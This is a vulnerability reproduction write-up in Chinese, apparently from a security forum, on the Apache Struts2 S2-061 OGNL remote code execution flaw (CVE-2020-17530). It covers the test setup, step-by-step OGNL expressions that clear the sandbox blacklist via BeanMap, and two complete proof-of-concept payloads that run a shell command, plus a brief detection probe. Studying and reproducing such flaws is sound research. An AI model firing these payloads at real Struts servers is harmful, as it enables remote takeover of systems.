-
-
内含POC丨漏洞复现之S2-061(CVE-2020-17530)
-
发表于: 2020-12-9 23:53 680
-
漏洞复现之S2-061(CVE-2020-17530)
1 2 3 4 | 1. 本文为Gcow安全团队成员江城@复眼小组所写,未经允许禁止转载 2. 本文中的payload切勿用于违法行为 一切造成的不良影响 本公众号概不负责 3. 本文一共 2000 字 18 张图 预计阅读时间 7 分钟 4. 若本文中存在不清楚或者错误的地方 欢迎各位师傅在公众号私聊中指出 感激不尽 |
漏洞描述
本次漏洞是对S2-059
漏洞修复后的绕过。S2-059
的修复补丁仅修复了沙盒绕过,但是并没有修复OGNL表达式的执行。但是在最新版本2.5.26
版本中OGNL表达式的执行也修复了。
漏洞影响版本
struts 2.0.0 - struts 2.5.25
漏洞分析
本文仅是对S2-061
进行复现,并且对复现的过程进行记录,具体的分析思路可以参考 安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)
Smi1e师傅tql 膜了 呜呜呜
漏洞复现
测试环境
1 2 3 | IDEA 2019.3 . 5 Struts2 2.5 . 26 / Struts2 2.3 . 33 Apache - Tomcat - 8.5 . 57 |
相关依赖包
注意,搭建测试环境的时候,除了下载struts2的最小依赖包(
struts-2.x.xx-min-lib.zip
)以外,本次的环境,还需要依赖同版本包下的commons-collections-x.x.jar
,可以在struts-2.x.xx-lib.zip
中找到版本对应的包,后续会说明为什么一定需要这个包。
2.3.3相关依赖包
2.5.25相关依赖包
复现思路简略说明(具体思路请移步上文中的漏洞分析文章)
首先找到struts2标签解析的入口,也是我们本次漏洞Debug跟踪的重点。
全方法名:org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag
这里是标签解析的开始方法,同时这里能够观测到整个OgnlValueStack
对象,也是我们开始寻找利用点的地方。
其中我们本次要使用的利用点就stack中断点可以找到(这一步在前面的思路分析中可以找到,但是因为debug点没有描述清楚,一开始找了很久,最后在查阅其他版本的文章分析才找到这个位置):
从上文中的位置,我们可以得到获取这个对象的获取调用链,如下图
转换为ognl表达式后如下:#application.get('org.apache.tomcat.InstanceManager')
org.apache.catalina.core.DefaultInstanceManager
的方法不做过多描述,借用分析文章中的一张图,可以使用这个对象中的newInstance
方法实例化任意无参构造方法的类并返回。
创建
org.apache.commons.collections.BeanMap
对象(本次的漏洞复现的主角,同时这个包就在commons-collections-x.x.jar
中)API简要描述(若想看详细方法分析,请移步到上文的分析文章):
1 2 3 4 | Object get( "xxxx" ) 实际相当于调用内部对象的getXxx,比如getName() Object put( "xxxx" , Object ) 实际相当于调用内部对象的,setXxxx,比如setName() void setBean( Object ) 重新设置内部对象,设置完成后上面两个才能生效 Object getBean() 获取内部对象,这里可以在断点的时候查看到当前 map 中的实际对象 |
整体创建的Ognl表达式(这里存放到application中,方便多次请求使用)
1 | % { #application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')} |
获取到
OgnlContext
对象 (实际就是#attr
、#request
等map对象中的struts.valueStack
)并且设置到上一步的BeanMap中,用于绕过沙盒限制,进行内部方法调用。Ognl表达式代码
1 | % { #application.map.setBean(#request.get('struts.valueStack'))} |
使用3和4同样的原理,利用
BeanMap
使用com.opensymphony.xwork2.ognl.OgnlValueStack
中的getContext
方法间接获取到OgnlContext
,并且重新设置到一个新的BeanMap中。这里把两个步骤的Ognl代码同时贴出来
1 2 3 4 | # 注意,自行调试的话,需要分两次执行 % { #application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')} % { #application.map2.setBean(#application.get('map').get('context'))} |
- 使用上面的原理,使用第二步得到的
OgnlContext
获取到内部的com.opensymphony.xwork2.ognl.SecurityMemberAccess
对象,在设置到新的BeanMap中,用于重置黑名单
1 2 3 4 | # 注意,自行调试的话,需要分两次执行 % { #application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')} % { #application.map3.setBean(#application.get('map2').get('memberAccess'))} |
确认一下之前存放的Map都正确存下来了,不然岂不是白忙活,其实每一步执行完后,都可以查看一次,确认每一步都是操作正确的,这里我就一次过了。
前面的操作都确认没有问题后,就可以调用方法重置黑名单了,主要API为
com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedClasses
和com.opensymphony.xwork2.ognl.SecurityMemberAccess#setExcludedPackageNames
,如下图在我们这两个地方打了断点后,我们请求下面或者前面的ognl可以发现,在每次收到请求的时候,都会调用一次这里的黑名单赋值,也就是说,就算是我们在本次请求重置了黑名单,在下次请求的时候,黑名单还是会重置。因此只有前面的ognl可以持久化存储,实际利用的时候,必须要在一个请求中进行命令执行。下文还会有一个存放在
request
中的poc。
初次请求赋值:
执行下面清空黑名单代码的重新赋值
清7空黑名单的ognl代码
1 2 3 4 | # 注意,自行调试的话,需要分两次执行 #application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) #application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) |
这里就可以使用黑名单中的
freemarker.template.utility.Execute
类中的exec
方法执行Shell了。需要最少和前面的8一起使用,才能执行成功。可以直接使用最后面的完整poc代码执行。执行shell的ognl代码
1 | #application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}) |
完整POC
使用application,就是上面思路的完整POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | % { ( #application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + ( #application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + ( #application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + ( #application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + ( #application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + ( #application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + ( #application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + ( #application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + ( #application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) } |
使用request,单次请求有效的完整POC (推荐)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | % { ( #request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + ( #request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + ( #request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + ( #request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + ( #request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + ( #request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + ( #request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + ( #request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + ( #application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'})) } |
注意:请使用url对以上的OGNL代码编码后,再在工具上使用。
检测思路
在新版本的struts2中,已经不能通过参数构造来解析ognl表达式了,所以如果考虑想要使用脚本来进行批量扫描是否有本漏洞的时候,可以考虑直接爆破所有参数,然后判断页面中是否有预计的结果文本即可。
比如:
%{ 'gcowsec-' + (2000 + 20).toString()}
预计会得到
gcowsec-2020
使用脚本判断结果中是否包含就可以了
总结
此次漏洞只是S2-059
修复的一个绕过,并且本次利用的核心类org.apache.commons.collections.BeanMap
在commons-collections-x.x.jar
包中,但是在官方的最小依赖包中并没有包含这个包。所以即使扫到了支持OGNL表达式的注入点,但是如果没有使用这个依赖包,也还是没办法进行利用。
参考文章
安恒信息安全研究院-Struts2 S2-061漏洞分析(CVE-2020-17530)
[官方更新公告]https://cwiki.apache.org/confluence/display/WW/S2-061
[Struts2-059 远程代码执行漏洞(CVE-2019-0230)分析]https://blog.csdn.net/weixin_46236101/article/details/109080913
360-CVE-2020-17530: Apache Struts2 远程代码执行漏洞通告
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!